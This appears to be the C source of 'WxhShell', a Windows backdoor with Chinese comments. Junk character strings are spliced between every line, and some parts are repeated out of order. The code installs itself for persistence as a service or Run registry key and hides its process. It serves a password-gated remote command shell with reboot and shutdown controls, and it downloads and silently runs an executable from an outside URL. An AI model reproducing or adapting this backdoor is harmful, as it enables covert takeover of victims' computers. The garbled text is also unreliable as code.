|W\U9n static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v.6K;TY. static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3Viz0I<% "oT&KW HANDLE hProcess; .)c+gyaQ PROCESS_BASIC_INFORMATION pbi; L2Fi/UWM 7o7*g 7 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !!<H*9]+W; if(NULL == hInst ) return 0; -KL5sK NydF'N_1 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <xlyk/ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @M*oq2U; NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YS bS.tq b?j\YX[e if (!NtQueryInformationProcess) return 0; >x*ef]aS r]deVd G hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f~?kx41dq if(!hProcess) return 0; 6Zx)L|B gn:&akg if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }2''}-Nc Y^QG\6q CloseHandle(hProcess); #'5{
?Cb /pWKV>tjj hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,0@QBr5P if(hProcess==NULL) return 0; eWr2UXv$ pwVaSnre` HMODULE hMod; hz+c]K char procName[255]; 6eQa@[.Q unsigned long cbNeeded; PU-L,]K bAEwjZ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d^Rea8 t]hfq~Ft CloseHandle(hProcess); y9~:[ jB <q`|,mc if(strstr(procName,"services")) return 1; // 以服务启动 !8|?0>3) G5NAwpZf return 0; // 注册表启动 0py29>"t } Pp.]/; sn8l3h) // 主模块 GC[Ot~*_ int StartWxhshell(LPSTR lpCmdLine) &hJQHlyJM0 { _q}^#- SOCKET wsl; -Np}<O`./ BOOL val=TRUE; y?UB?2VN int port=0; RBpv40n0 struct sockaddr_in door; ^@)*voP#G Y o\%53w/ if(wscfg.ws_autoins) Install(); }J6 y NoXu $mxl&Qr>Q; port=atoi(lpCmdLine); $ncP#6 XrJLlH>R4 if(port<=0) port=wscfg.ws_port; )3ZkKv;zY a28`)17z WSADATA data; [&)*jc16 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @+sYwlA~ SP;1XXlL if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; aWY#gI{ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k{ulu door.sin_family = AF_INET; &kQj) door.sin_addr.s_addr = inet_addr("127.0.0.1"); P"|-)d door.sin_port = htons(port); |Y30B,=M q!WiX|P if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +&.39q! closesocket(wsl); 'VV"$`Fu" return 1; 4!A(7
s4t } 7
b{y 7 iQa)8, if(listen(wsl,2) == INVALID_SOCKET) { SP4(yJy& closesocket(wsl); D2f~*!vEnA return 1; u179! } 'M
fVZho{ Wxhshell(wsl); %?J-0 WSACleanup(); q:mqA$n l4y>uZ>a return 0; !.7m4mKzo #'I<q } j07b!j:"\} s6!! ty;Y // 以NT服务方式启动 Y8/&1s_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d~y]7h | { !gi3J @ DWORD status = 0; OpmPw4?} DWORD specificError = 0xfffffff; yY!@FGsA Kc`#~-`,( serviceStatus.dwServiceType = SERVICE_WIN32; k)agbx serviceStatus.dwCurrentState = SERVICE_START_PENDING; C#.27ah serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6%&DJBU! serviceStatus.dwWin32ExitCode = 0; awSi0*d~ serviceStatus.dwServiceSpecificExitCode = 0; vb$i00? serviceStatus.dwCheckPoint = 0; {w]L'0ES[ serviceStatus.dwWaitHint = 0; .#LHj}u W{t-UK
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^ R3g7 DG if (hServiceStatusHandle==0) return; !!6g<S7) X]s="^ status = GetLastError(); -ug-rdXV if (status!=NO_ERROR) D 1(9/;9 { HFX,EE serviceStatus.dwCurrentState = SERVICE_STOPPED; _+<AxE9\ serviceStatus.dwCheckPoint = 0; G#3$sz serviceStatus.dwWaitHint = 0; q)N^ serviceStatus.dwWin32ExitCode = status; ~sTn?~ serviceStatus.dwServiceSpecificExitCode = specificError; ootkf= SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1$ENNq#0 return; -Zqw[2Q4 } c@$W]o"A L"}2Y3 serviceStatus.dwCurrentState = SERVICE_RUNNING; \cQ+9e) serviceStatus.dwCheckPoint = 0; bLO^5` 6 serviceStatus.dwWaitHint = 0; -pQ0,/}K if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uCj)7>}v{M } 2,p= % IeB^BD+j // 处理NT服务事件,比如:启动、停止 V5+|H1= VOID WINAPI NTServiceHandler(DWORD fdwControl) 9L>ep&u)^ { uExYgI`<%& switch(fdwControl) [pz1f!Wn { v"dl6%D" case SERVICE_CONTROL_STOP: B
\.05< serviceStatus.dwWin32ExitCode = 0; US&:UzI. serviceStatus.dwCurrentState = SERVICE_STOPPED; /p)y!5e serviceStatus.dwCheckPoint = 0; Hqb-)8 ~ serviceStatus.dwWaitHint = 0; B]PG { 3*e )D/lm SetServiceStatus(hServiceStatusHandle, &serviceStatus); 21hTun"W } pZ 7KWk4 return; |^O3~!JP(> case SERVICE_CONTROL_PAUSE: X + B=?|M serviceStatus.dwCurrentState = SERVICE_PAUSED; \n-.gG break; 2lxA/.f case SERVICE_CONTROL_CONTINUE: Rc}#4pM8 serviceStatus.dwCurrentState = SERVICE_RUNNING; 3#idXc break; G$jw#a[L case SERVICE_CONTROL_INTERROGATE: oSH]TL2@Cd break; *-@@t+3 }; Pk:b:(4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9)'wgI# } H4BuxM_r +[#^c3x2 // 标准应用程序主函数 fAD
{sg int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (n2=.9k! { [L?WM>]% q ;e/gP2 // 获取操作系统版本
Lp{/ OsIsNt=GetOsVer(); YGZa##i GetModuleFileName(NULL,ExeFile,MAX_PATH); !uhh_3RH &izk$~ // 从命令行安装 nu6v@<<F> if(strpbrk(lpCmdLine,"iI")) Install(); [-1Yyy1}
]F4|@+\9 // 下载执行文件 Y~UWUF%aK if(wscfg.ws_downexe) { nW ]T-! if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U-#vssJhk WinExec(wscfg.ws_filenam,SW_HIDE); ]u%Y8kBe } wfM|3GS+. ^Fwdi#g if(!OsIsNt) { 8%;]]{(B // 如果时win9x,隐藏进程并且设置为注册表启动 h[gKyxZ/t HideProc(); &usum~@ StartWxhshell(lpCmdLine); 9iGp0_J } )>!y7/3 else yXro6u?rC if(StartFromService()) r?WOum // 以服务方式启动 8VMD304 StartServiceCtrlDispatcher(DispatchTable); "O%xQ N else p:Zhg{sF // 普通方式启动 jC'Diu4|Q StartWxhshell(lpCmdLine); 5,du2 vH{JLN2 return 0; jo"zdb } nc:K!7: #|6M*;l N| t8Giv89{ {Yv5Z.L&( =========================================== cN|
gaL BSg3 }1YQ?:@ 'l._00yu _@sSVh$+ y&2O)z!B " @*JS[w$1 7/FF}d #include <stdio.h> :qvaI, #include <string.h> 8o,"G}Hjk #include <windows.h> zl$z> z ) #include <winsock2.h> 0y=lf+xA* #include <winsvc.h> *"j3x}
U< #include <urlmon.h> Oy yE0 ?I 7hbqQd #pragma comment (lib, "Ws2_32.lib") C oO0~q #pragma comment (lib, "urlmon.lib") Kk/cI6`W 't3nh #define MAX_USER 100 // 最大客户端连接数 <s5s<q2 #define BUF_SOCK 200 // sock buffer h\*I*I8C #define KEY_BUFF 255 // 输入 buffer }z_7?dn/ KOD%>+vG$ #define REBOOT 0 // 重启 Wq*W+7=. #define SHUTDOWN 1 // 关机 FMAt6HfU qZX\riR #define DEF_PORT 5000 // 监听端口 vFsl]|<;8 ^-K~y #define REG_LEN 16 // 注册表键长度 t/a #define SVC_LEN 80 // NT服务名长度 t<znz6 }E\u2] // 从dll定义API u]Dds;~"b typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B@,#,-=
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]ru
UX typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *vu typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LZApz} Ve4@^Jy; // wxhshell配置信息 +<n8O~h struct WSCFG { pv,I_" int ws_port; // 监听端口 P>ZIP*
Gr char ws_passstr[REG_LEN]; // 口令 >Q|S#(c int ws_autoins; // 安装标记, 1=yes 0=no =%9j8wHX char ws_regname[REG_LEN]; // 注册表键名 0/zgjT|fe char ws_svcname[REG_LEN]; // 服务名 m"mU:-jk` char ws_svcdisp[SVC_LEN]; // 服务显示名 x: 2 o$+v3 char ws_svcdesc[SVC_LEN]; // 服务描述信息 .$"69[1H char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \rmge4`4 int ws_downexe; // 下载执行标记, 1=yes 0=no xMo'SpVz: char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "y=AVO char ws_filenam[SVC_LEN]; // 下载后保存的文件名 be~'}`> go5l<:9 }; s%t =*+L\ Z;J{&OJ3qM // default Wxhshell configuration Z+C&?K struct WSCFG wscfg={DEF_PORT, +zSdP2s "xuhuanlingzhe", Dhp|%_> 1, =s1Pf__<k "Wxhshell", firiYL"=44 "Wxhshell", +U,>D+ "WxhShell Service", N1u2=puJY "Wrsky Windows CmdShell Service", )`
90* "Please Input Your Password: ", Bhw|!Y&% 1, !<j)D_ "http://www.wrsky.com/wxhshell.exe", </Ry4x^A "Wxhshell.exe" N!^5<2z@eT }; cY[qX/0~ R%^AW2 // 消息定义模块 2~2j?\AEd. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hS+R/7 char *msg_ws_prompt="\n\r? for help\n\r#>"; %%f(R7n char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {-)*.l= char *msg_ws_ext="\n\rExit."; -87]$ ax char *msg_ws_end="\n\rQuit."; XpibI3:< char *msg_ws_boot="\n\rReboot..."; (T Fo]c char *msg_ws_poff="\n\rShutdown..."; .3,6Oo char *msg_ws_down="\n\rSave to "; odC}RdN 2K$#U|Qi char *msg_ws_err="\n\rErr!"; 7.tEi}O&_g char *msg_ws_ok="\n\rOK!"; uQtwh08i 'K|tgsvgme char ExeFile[MAX_PATH]; Ve^rzGU int nUser = 0; lT~A~O HANDLE handles[MAX_USER]; OFcqouGE int OsIsNt; L% ?3VW
e&J_uG SERVICE_STATUS serviceStatus; P V,AN
SERVICE_STATUS_HANDLE hServiceStatusHandle; YN 31Lo W05>\Rl // 函数声明 %H'*7u2 int Install(void); #Ez+1 int Uninstall(void); y<A%& int DownloadFile(char *sURL, SOCKET wsh); , 1`-u$ int Boot(int flag); 2OQDG7#Kc void HideProc(void); p$*;>YKO int GetOsVer(void); u.Z,HsEO b int Wxhshell(SOCKET wsl); @%sr#YqY void TalkWithClient(void *cs); hpOUz% int CmdShell(SOCKET sock); nH% 1lD?: int StartFromService(void); ?\$\YX%/p int StartWxhshell(LPSTR lpCmdLine); K]Onb{QY 7f\@3r VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y:3d`E4Xw VOID WINAPI NTServiceHandler( DWORD fdwControl ); U?d4 ^ <UMT:`h1MZ // 数据结构和表定义 37QXML SERVICE_TABLE_ENTRY DispatchTable[] = ]J* y`jn { lTn~VsoRZ {wscfg.ws_svcname, NTServiceMain}, ~ok i s {NULL, NULL} xMAb=87_
}; cXo^.u pRLs*/Bw // 自我安装 ;&%G)f int Install(void) 3JR1If { Lc:DJA char svExeFile[MAX_PATH]; oK3aW6 HKEY key; 78i"3Tm)w strcpy(svExeFile,ExeFile); Hz6yy* mv+K!T6 // 如果是win9x系统,修改注册表设为自启动 J$Qm:DC5 if(!OsIsNt) { `bF]O" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AZTn!hrU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tSvklI RegCloseKey(key); @\UoZv( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f!"Y"g:@E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :9Vd=M6, RegCloseKey(key); X&qa3C}) return 0; }lzQMT } S=wJ{?gzAK } o-D,K dY } !&Z,ev else { khW9n* H~P"uYKIZ // 如果是NT以上系统,安装为系统服务 -Jtx9P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /<s$Am if (schSCManager!=0) I:qfB2tL)O { Q&9%XF
uM SC_HANDLE schService = CreateService p~sfd ( $qx&\@O schSCManager, ;|hEXd?b wscfg.ws_svcname, Q l$t wscfg.ws_svcdisp, f~.w2Cna SERVICE_ALL_ACCESS, u%7a&1c SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {xC CUU SERVICE_AUTO_START, WR*|kh SERVICE_ERROR_NORMAL, Qjj:r~l svExeFile, yt&eY6Xp NULL, !vQ!_|g1 NULL, Ohm>^N;
NULL, G@)I NULL, F$K-Q;r]< NULL %;0w2W ); f$E66yG if (schService!=0) ?CS
jn { xrT_ro8 CloseServiceHandle(schService); j}R4mh CloseServiceHandle(schSCManager); wE75HE`gW strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /s%I(iP4 strcat(svExeFile,wscfg.ws_svcname); 1>*]jj} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sQ^>.yG RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #^Dc:1, RegCloseKey(key); TKc&yAK return 0; ISr~JQr } zJMKgw,i* }
hh"0z] CloseServiceHandle(schSCManager); );h\0w>3 } Z"gllpDr$ } oQDOwM, JLAg-j2 return 1; #{0DpSzE5 } 81_3{OrE< EGwY|+3 // 自我卸载 7atYWz~yG int Uninstall(void) .;tO;j|6 { yj$S?B Ee HKEY key; p _e-u- 7o
z(hO~ if(!OsIsNt) { IQ{Xj3;?y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SEchF"KJQF RegDeleteValue(key,wscfg.ws_regname); 5?kA)!|UB RegCloseKey(key); >`NY[Mn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z K8#gif@ RegDeleteValue(key,wscfg.ws_regname); LO61J_J< RegCloseKey(key); dr6 dK return 0; %,,h )9 } ,H[AC}z2X } X}zKV } *A\NjXJl~ else { N/?MsrZw G^mk<pH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ($(1KE if (schSCManager!=0) 0v7;ZxD { Sw1]]-Es SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Aq'%a)Y2 if (schService!=0) b$R>GQ?# { u
F*cS&'Z if(DeleteService(schService)!=0) { g[M@ CloseServiceHandle(schService); x#8=drh.:C CloseServiceHandle(schSCManager); ,Vs:Lle return 0; H9)uni } 3Xh&l[. CloseServiceHandle(schService); Gm2rjpZeq } J$I1*~I4v CloseServiceHandle(schSCManager); EhFhL4Xdn } ygfqP } 5N/]/ Wq9s[)F"Z return 1; C(0Iv[~y/ } rb tV,Y <aHt6s' // 从指定url下载文件 yX~[yH+Pn int DownloadFile(char *sURL, SOCKET wsh) `p ?E{k.N { -.*\J|S@g HRESULT hr; M<p )@p char seps[]= "/"; :9h8q"T char *token; Gj ^bz'2 char *file; |wb7`6g char myURL[MAX_PATH]; Td F< char myFILE[MAX_PATH]; P&tK}Se^V jFXU
xf strcpy(myURL,sURL); VxFy[rP token=strtok(myURL,seps); $~YuS_sYg while(token!=NULL) `l+SJLyJ% { 2bJFlxEU file=token; *Z:PB%d5 token=strtok(NULL,seps); 'AAY!{> } qC4-J)8Wk 3-R3Qlr GetCurrentDirectory(MAX_PATH,myFILE); .;:xx~G_Q strcat(myFILE, "\\"); A%PPG+IfA strcat(myFILE, file); l17ZNDzLU send(wsh,myFILE,strlen(myFILE),0); UH.cn|R send(wsh,"...",3,0); $aA.d^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K(d!0S if(hr==S_OK) *[5 return 0; tAA7 else HIq1/) return 1; ]2(c$R
EDo@J2A } @(cS8%wK Xu_<4 // 系统电源模块 S2R[vB4). int Boot(int flag) ! -c*lb { _6m3$k_[MJ HANDLE hToken; jVINc=o TOKEN_PRIVILEGES tkp; K*Jtyy}r `0^i
# if(OsIsNt) { * jK))|% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vs. uq LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HUC2RM?FN tkp.PrivilegeCount = 1; +I <Sq_- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; faq
K D: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #FB>}:L{h* if(flag==REBOOT) { V8yX7yx if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pNlisS return 0; ^JtHTLHL= } 5 DB>zou
else { 'u[o`31. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sPg6eAd~? return 0; k^pu1g=6I } .dCP8| } :6?&FzD` else { 3-bcY4 if(flag==REBOOT) { 2]9<%-=S if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U_- K6:tr return 0; kkBU<L2 } IBkH+j else { $/TA5h if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ? ~Zrd return 0; <S$21NtM87 } i8YgG0[) } ~It+|X=Kx M:M>@|) return 1; ({KAh? } dCP Tpm qm=F6*@} // win9x进程隐藏模块 ! |h2&tH void HideProc(void) {,FeNf46 { vkpV,}H rO$>zdmYHs HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1ckw[ 0d if ( hKernel != NULL ) ;CMC`h9, { !2|`aa pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kA<r:/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5vi#ItN}| FreeLibrary(hKernel); 0juIkN# } )m8>w6" "IG$VjgcB return; 2U'JzE^Do } s| r7DdI m]d6@"Z. // 获取操作系统版本 ^Cn]+0G#C8 int GetOsVer(void) Kw0V4UF { 0~b6wuFl OSVERSIONINFO winfo; e K1m(E.= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pE/3-0;}N GetVersionEx(&winfo); MD4 j~q\g if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1IQOl return 1; +Z&&H'xD else z%3"d0 return 0; = )l: ^+q } q>(u>z! 7Y|>xx=v // 客户端句柄模块 $a*Q).^ int Wxhshell(SOCKET wsl) jfPJ5]Z { bNjaCK< SOCKET wsh; [RFK-E struct sockaddr_in client; ?VZXJO{^ DWORD myID; qb>r\bc T0v@mXBQ while(nUser<MAX_USER) $;i$k2n: { 60%~+oHi~ int nSize=sizeof(client); Usf"K*A wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PnIvk]"Ab if(wsh==INVALID_SOCKET) return 1; #D/ }u./ g~hk-nXL. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8+|V!q if(handles[nUser]==0) q\t>D
_lU closesocket(wsh); *DCNu{6 else FR,#s^kF nUser++; sx<+ *Trl } <<On*#80w
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0S:!Gv+ qVD!/;l return 0; \v3>Eo[ } f93rY< *_/eAi/WG // 关闭 socket @EP{VV void CloseIt(SOCKET wsh) 7cmr
*y { ]7S7CVDk4 closesocket(wsh); , HI%Xn
nUser--; ym*#ZE`B! ExitThread(0); 2PP-0
E } ok%a|Zz+] ooU Sb // 客户端请求句柄 aRO_,n9 void TalkWithClient(void *cs) @z$pPo0fW { 9g&)6,< tct5*.| SOCKET wsh=(SOCKET)cs; =PKt09b^ char pwd[SVC_LEN]; ssX6kgq_( char cmd[KEY_BUFF]; @)Hbgkdi char chr[1]; E}b>7L&w int i,j; W3{<e" 1Q&WoJLfR while (nUser < MAX_USER) { OwiWnS< {`Fx~w;i if(wscfg.ws_passstr) { G<u.+V if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *VC4s`< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hu9-<upc& //ZeroMemory(pwd,KEY_BUFF); sx( l i=0; 9HNh*Gc= while(i<SVC_LEN) { fyg~KF} nL+YL // 设置超时 A.$VM# fd_set FdRead; RZ)vU'@kx struct timeval TimeOut; 1f@U:<: FD_ZERO(&FdRead); uWR,6\_jY FD_SET(wsh,&FdRead); HDSA]{:sl TimeOut.tv_sec=8; bV )PT`-, TimeOut.tv_usec=0; J!A/r< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 34m' ]n if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q9eYF-+ f}lT|.)?VD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DA4edFAuE pwd=chr[0]; jWv3O&+?X if(chr[0]==0xd || chr[0]==0xa) { {GX
&)c4 pwd=0; ndKvJH 4 break; M89-*1 } ?`T6CRZhr i++; )Vg{Y [! } @wB'3q}( d)hzi // 如果是非法用户,关闭 socket 6Y>,e;R if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =hugnX<9 } B'KXQa-$O >G4HZE send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @ yg|OA} send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z}LOy^TL @\6nXf while(1) { %7C%`)T] e}?1T7NPG] ZeroMemory(cmd,KEY_BUFF); s`Be#v vh. Wm?qQ // 自动支持客户端 telnet标准 6_9:Eb=^v! j=0; 6cQeL$,SQ while(j<KEY_BUFF) { +;:aG6q+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "9U+h2#] cmd[j]=chr[0]; \~z?PA.$ if(chr[0]==0xa || chr[0]==0xd) { \'It,PN cmd[j]=0; =2;mxJ# o break; '.%iPMM } MfNpQ: ]c\ j++; Jv 6nlK` } ~ F?G5cN5 x ^M5D+o // 下载文件 0gv3v@QO if(strstr(cmd,"http://")) { P^K?E send(wsh,msg_ws_down,strlen(msg_ws_down),0); \'s$ZN$k if(DownloadFile(cmd,wsh)) xJ=ZQ)&] send(wsh,msg_ws_err,strlen(msg_ws_err),0); QLF,/" else 2<y}91N: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #uD)0zdw } Vp(D|}P else { 8m/FKO (r hapB! ~M? switch(cmd[0]) { TdNuD V Xb(CH#*{z // 帮助 w&wA >q>& case '?': { q9>Ls-k send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b!4N)t>gl break; ;PfeP;z } R
"/xne // 安装 5';/@M case 'i': { )Y&MIJ7>@ if(Install()) ]^yV`Z8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); GZ/pz+)i& else y+
6`|
h_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _XH4;uGg break; cW81 } R/ALR // 卸载 z9k*1: case 'r': { b"ol\&1
#
if(Uninstall()) msA' 5> send(wsh,msg_ws_err,strlen(msg_ws_err),0); ShL1'Z}^{ else X[GIOPDx send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VZT6;1TD$8 break; G*P[z'K= } h.4qlx| // 显示 wxhshell 所在路径 ysSjc case 'p': { fnLR
char svExeFile[MAX_PATH]; [+hy_Nc$ strcpy(svExeFile,"\n\r"); Whv]88w{ strcat(svExeFile,ExeFile); HpB!a,R6B send(wsh,svExeFile,strlen(svExeFile),0); Cp .1/ break; +8LM~voB } ,~?A,9?%: // 重启 J-t=1 case 'b': { eVqM=%Q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JDC=J(B if(Boot(REBOOT)) $l#v/(uFa send(wsh,msg_ws_err,strlen(msg_ws_err),0); (
GFgt_ else { +G*"jI8W closesocket(wsh); V+qFT3?- ExitThread(0); y;,=ajrF } EzzTJ> break; dIoF ~8V } l?3vNa FeR // 关机 /M0l
p case 'd': { 3[MdUj1y[ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @Ufa-h5"( if(Boot(SHUTDOWN)) =3h+=l[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); !7A"vTs else { :.C+?$iuX closesocket(wsh); -rEeKt ExitThread(0); U>/<6Wd } Nc
G ,0K break; R^jlEt\&P } @PYW|*VS // 获取shell E)KB@f<g* case 's': { f:_=5e
+ CmdShell(wsh); #^5a\XJb closesocket(wsh); DY)D(f/&3 ExitThread(0); n?y'c^ break; ^c/mj9M#C } B1|?RfCe // 退出 Qy4X#wgD case 'x': { 8B}'\e4i send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !a' K & CloseIt(wsh); IkSX\* break; e{v,x1Y_z( } L@7Qs6G2u // 离开 P#AAOSlLV case 'q': { "V: send(wsh,msg_ws_end,strlen(msg_ws_end),0); v*&Uk'4E closesocket(wsh); Vh 2Bz WSACleanup(); hmc\|IF` exit(1); /6Y0q9 break; R
^HohB } }BA9Ka#% } ]b}B~jD } CkRyzF KjO-0VMN3 // 提示信息 gsnP!2cR if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =hJfL}&O3 } +2-
qlU } 6kP7 y:qx5Mi return; }$^]dn@ } %p<$|' CT|z[^ // shell模块句柄 _GE=kw;: int CmdShell(SOCKET sock) 6_W <hevI { smQ4CLJ STARTUPINFO si; >NJjS8f5 ZeroMemory(&si,sizeof(si)); 2K3MAd{ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7@FDBjq si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Kp8fh-4_ PROCESS_INFORMATION ProcessInfo; )V=0IZi char cmdline[]="cmd"; cN62M=** CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ynvj; return 0; +H41]W6 } @XeEpDn] DNmb[ // 自身启动模式 $"/UK3|d int StartFromService(void) U?^OD { 5(423"(y typedef struct Ud$Q0m& { ])eOa% DWORD ExitStatus; cvhlRI%6 DWORD PebBaseAddress; _8al DWORD AffinityMask; +-U@0&Y3M DWORD BasePriority; kmIoJH5 ULONG UniqueProcessId; {nTG~d ULONG InheritedFromUniqueProcessId; ]y.Rg{iv } PROCESS_BASIC_INFORMATION; oBb?"2 ~9 4 ^4d9?c PROCNTQSIP NtQueryInformationProcess; ]Qd{ '}+ IeZ&7u static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UIQQ\,3 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~
W@X- :]yg HANDLE hProcess; `Uv)Sf{ PROCESS_BASIC_INFORMATION pbi; tzPC/? )Ea8{m! HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hc M~ if(NULL == hInst ) return 0; J6DnPaw-G +)zDA:2Wa" g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I|Z/`9T g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Np$z%ewK. NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
^,+nef?= #^Ys{ if (!NtQueryInformationProcess) return 0; ^/k, z9 O~W5-U hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
